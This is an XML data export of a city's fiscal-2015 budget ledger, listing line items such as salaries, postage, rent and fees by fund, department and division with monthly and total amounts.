<row _id="13572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12356.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12356.0</total></row>
<row _id="13573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8251.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8251.0</total></row>
<row _id="13574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>70191.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70191.0</total></row>
<row _id="13575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>402630.0</object><object_description>WASTEWATER MISC NON-OPERATING</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="13576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7489.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7489.0</total></row>
<row _id="13577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>400.0</total></row>
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<row _id="13605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4239.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4239.0</total></row>
<row _id="13606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7310.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7310.0</total></row>
<row _id="13607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>14262.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14262.0</total></row>
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<row _id="13609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16000.0</total></row>
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<row _id="13613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17390.0</total></row>
<row _id="13614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15132.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15132.0</total></row>
<row _id="13615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511040.0</object><object_description>COUNCIL/BOARD ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>110634.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110634.0</total></row>
<row _id="13616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533560.0</object><object_description>CONF / MTGS / TRAVEL-PO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7268.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7268.0</total></row>
<row _id="13617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>467443.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>467443.0</total></row>
<row _id="13618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>95897.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95897.0</total></row>
<row _id="13619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
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<row _id="13621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>866906.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>866906.0</total></row>
<row _id="13623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>101.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101.0</total></row>
<row _id="13626"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9613.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9613.0</total></row>
<row _id="13627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2129.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2129.0</total></row>
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<row _id="13732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1661.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1661.0</total></row>
<row _id="13734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>71988.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71988.0</total></row>
<row _id="13735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="13736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>404340.0</object><object_description>INDUSTRIAL WASTE FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-375000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-375000.0</total></row>
<row _id="13737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>405500.0</object><object_description>STORMWATER MGMT USER FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1240000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1240000.0</total></row>
<row _id="13738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9538.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9538.0</total></row>
<row _id="13739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="13740"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533600.0</object><object_description>CONF / MTGS / TRAVEL-KM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7268.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7268.0</total></row>
<row _id="13741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>305.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>305.0</total></row>
<row _id="13742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1322324.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1322324.0</total></row>
<row _id="13743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2390.0</total></row>
<row _id="13744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>39702.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39702.0</total></row>
<row _id="13745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9238.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9238.0</total></row>
<row _id="13747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5457.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5457.0</total></row>
<row _id="13748"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2609.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2609.0</total></row>
<row _id="13749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6198.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6198.0</total></row>
<row _id="13750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11790.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11790.0</total></row>
<row _id="13751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18339.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18339.0</total></row>
<row _id="13752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1878030.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1878030.0</total></row>
<row _id="13753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511972.0</object><object_description>UNIFORM ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>56000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56000.0</total></row>
<row _id="13756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>506519.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>506519.0</total></row>
